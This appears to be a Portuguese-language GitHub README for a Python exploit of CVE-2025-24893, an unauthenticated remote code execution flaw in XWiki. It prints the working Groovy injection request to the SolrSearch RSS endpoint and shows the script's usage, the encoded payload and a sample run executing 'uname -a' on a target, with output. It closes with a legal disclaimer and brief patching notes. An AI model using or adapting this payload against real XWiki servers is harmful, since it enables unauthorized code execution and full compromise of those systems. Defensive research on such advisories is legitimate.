b0ysie7e/cve-2025-24893Exploit em Python para CVE-2025-24893, uma RCE crítica não autenticada na Plataforma XWiki, permitindo execução arbitrária de código Groovy por meio de solicitação RSS manipulada para o endpoint SolrSearch.
CVE-2025-24893 é uma vulnerabilidade crítica de execução remota de código (RCE) não autenticada que afeta a Plataforma XWiki.
Esta falha permite que qualquer usuário convidado injete e execute código Groovy arbitrário—sem autenticação—através de uma solicitação RSS especialmente criada para o endpoint SolrSearch.
Isso impacta diretamente a confidencialidade, integridade e disponibilidade do sistema afetado.
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H⚠️ Aviso Legal:
Este código é estritamente destinado a fins educacionais e de pesquisa. O uso não autorizado em sistemas sem permissão explícita pode constituir violação da lei. O autor não se responsabiliza por qualquer uso indevido ou atividade maliciosa envolvendo esta ferramenta.
GET /xwiki/bin/get/Main/SolrSearch?media=rss&text=}}}{{async async=false}}{{groovy}}println("Hello from search text:42"){{/groovy}}{{/async}}
Esta seção explica como configurar e executar o script de exploit em Python para aproveitar a CVE-2025-24893.
❯ python3 CVE-2025-24893.py
usage: CVE-2025-24893.py [-h] -u URL -c COMMAND
CVE-2025-24893.py: error: the following arguments are required: -u/--url, -c/--command
❯ python3 CVE-2025-24893.py -u http://10.10.10.10:8080 -c 'uname -a'
[*] Sending payload to: http://10.10.10.10:8080/xwiki/bin/get/Main/SolrSearch?media=rss&text=%7d%7d%7d%7b%7basync%20async%3dfalse%7d%7d%7b%7bgroovy%7d%7dprintln("uname -a".execute().text)%7b%7b%2fgroovy%7d%7d%7b%7b%2fasync%7d%7d
[+] Command output 'uname -a':
Linux 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC 2025 x86_64 x86_64 x86_64 GNU/Linux
Para corrigir a vulnerabilidade, atualize o XWiki para uma das seguintes versões:
Se uma atualização não for possível imediatamente, você pode aplicar uma correção temporária:
SolrSearchMacros.xml (localizado em Main.SolrSearchMacros) por volta da linha 955.rawResponse com o tipo de conteúdo definido como application/xml.macros.vm na linha 2824 como referência.Referências: